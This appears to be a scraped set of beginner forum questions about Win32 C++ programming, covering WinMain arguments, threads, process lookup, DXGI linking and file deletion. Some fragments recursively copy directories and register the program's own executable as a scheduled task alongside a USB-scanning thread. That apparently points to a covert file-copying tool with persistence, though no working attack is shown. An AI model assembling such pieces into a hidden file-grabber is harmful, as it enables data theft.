WIN32_FIND_DATA FindFileData; strcpy(temp, FilePath); strcat(temp, "*"); hFind = FindFirstFile(temp, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { strcpy(temp1, FilePath); strcat(temp1, FindFileData.cFileName); if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) { if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { strcat(temp1, "\\"); CreateDir(temp1); GetFile(temp1); } else { Copy(temp1); } } } while(FindNextFile(hFind, &FindFileData)); } FindClose(hFind); }
How to send int WINAPI WinMain()arguments from int main()
i have this code and i want to use simple main like int main() is there anyway i can pass below int WINAPI WinMain() arguments from int main()
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
i tried this but it doesn't work
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
Thread not working if WinMain Arg is 2
int WINAPI usbSc(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow, promise<MSG> * promObj) {} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { fstream f("test.txt", ios::app); TCHAR szExeFileName[MAX_PATH]; GetModuleFileName(NULL, szExeFileName, MAX_PATH); LPCSTR y = PathFindFileName( szExeFileName ); LPCSTR temp = y; string c = temp; LPSTR name = const_cast<char *>(c.c_str());; PathRemoveExtension(name); string tempr = name; strcpy(dir, path.c_str()); LPWSTR *szArglist; int nArgs, i; szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); if (nArgs ==1) { if (checkSchedTask(tempr) != 1) { string y = CW2A(szArglist[0]); f << y << endl; schedTask(tempr); thread th1(showPic); th1.join(); } } if (nArgs == 2 ) { //string k = "inside args2"; string k = CW2A(szArglist[1]); f <<k<<endl; f.close(); std::promise<MSG> promiseObj; std::future<MSG> futureObj = promiseObj.get_future(); thread th45(usbSc, hInstance, hPrevInstance, lpCmdLine, nCmdShow, &promiseObj); futureObj.get(); //th2.detach(); //th2.join(); } }but this works only if there is only one if fore eg in below code
int WINAPI usbSc(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow, promise<MSG> * promObj) {} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { fstream f("test.txt", ios::app); TCHAR szExeFileName[MAX_PATH]; GetModuleFileName(NULL, szExeFileName, MAX_PATH); LPCSTR y = PathFindFileName( szExeFileName ); LPCSTR temp = y; string c = temp; LPSTR name = const_cast<char *>(c.c_str());; PathRemoveExtension(name); string tempr = name; strcpy(dir, path.c_str()); LPWSTR *szArglist; int nArgs, i; szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); /*if (nArgs ==1) { if (checkSchedTask(tempr) != 1) { string y = CW2A(szArglist[0]); f << y << endl; schedTask(tempr); thread th1(showPic); th1.join(); } }*/ if (nArgs == 1 ) { //string k = "inside args2"; string k = CW2A(szArglist[0]); f <<k<<endl; f.close(); std::promise<MSG> promiseObj; std::future<MSG> futureObj = promiseObj.get_future(); thread th45(usbSc, hInstance, hPrevInstance, lpCmdLine, nCmdShow, &promiseObj); futureObj.get(); //th2.detach(); //th2.join(); } }
How to get Process ID of running application?
I'm trying toi get the process ID of a running application. But I think I may be doing it wrong. Any help would be appreciated.
HANDLE hProcessSnap; HANDLE hProcess; PROCESSENTRY32 pe32; bool processFound = 0; TCHAR fileName[] = TEXT("FileAshAndBen.exe"); // ------------ Getting List of Running Processes ------------// hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot (of process) is failed\n"; return 0; } // ---------------- Getting FIle Process ID ----------------// // Set the size of the pe32 structure before using it pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)); { cout << "Process32First failed \n"; // clean the snapshot object CloseHandle(hProcessSnap); } // Go through all the processes looking for FileAshAndBen.exe do { // print out the process name wcout << "\nProcess name is " << pe32.szExeFile << endl; // if the process name is FileAshAndBen.exe if (_tcscmp(pe32.szExeFile, fileName) == 0) { cout << "File process is found \n"; processFound = 1; break; } } while (Process32Next(hProcessSnap, &pe32));
StudiousStudent
Linker Error for CreateDXGIFactory Function
Hi,
I am trying to experiment on the DXGI APIs, and I was creating a console application that enumerates the available Adapters from the Factory Object.
The Code Snippet is as shown below:
// pFactory and vecAdapters are initialized as static variables // Snippet from a static function HRESULT result = CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory); if (result == S_OK) { UINT i = 0; IDXGIAdapter* pAdapter; while (pFactory->EnumAdapters(i, &pAdapter) != DXGI_ERROR_NOT_FOUND) { vecAdapters.push_back(pAdapter);++i; } }
But I am getting a Linker Error as follows:
error LNK2019: unresolved external symbol _CreateDXGIFactory@8
The headers that I have used are the following:
#include <Windows.h> #include <dxgi.h> #include <dxgi1_2.h> #include <vector>
Am I missing something?
And thank you so much in advance for helping me out!
How to delete a file from my Desktop using c++
I'm trying to delete a file from my desktop. Any help would be appreciated.
const int result = remove("C:\\Users\\user1\OneDrive\Desktop\file1.exe"); if (result == 0) { cout << "\nsuccess" << endl; } else { cout << "\nNo success" << endl; }
StudiousStudent
visual c++ sharing thread with multiple instance of DLL
Is there a sample code that can have a thread running that is shared between multiple instance of the DLL???
For example,
1st instance spawn the thread as shown below
static UINT WritePumpThread1(LPVOID lpVoid)
{
while (1)
{
Sleep(1);
}
return 0;
}
can we make the 2nd instance that already has that same thread running from the 1st instance??? Again, that thread running is shared among multiple instance of that DLL.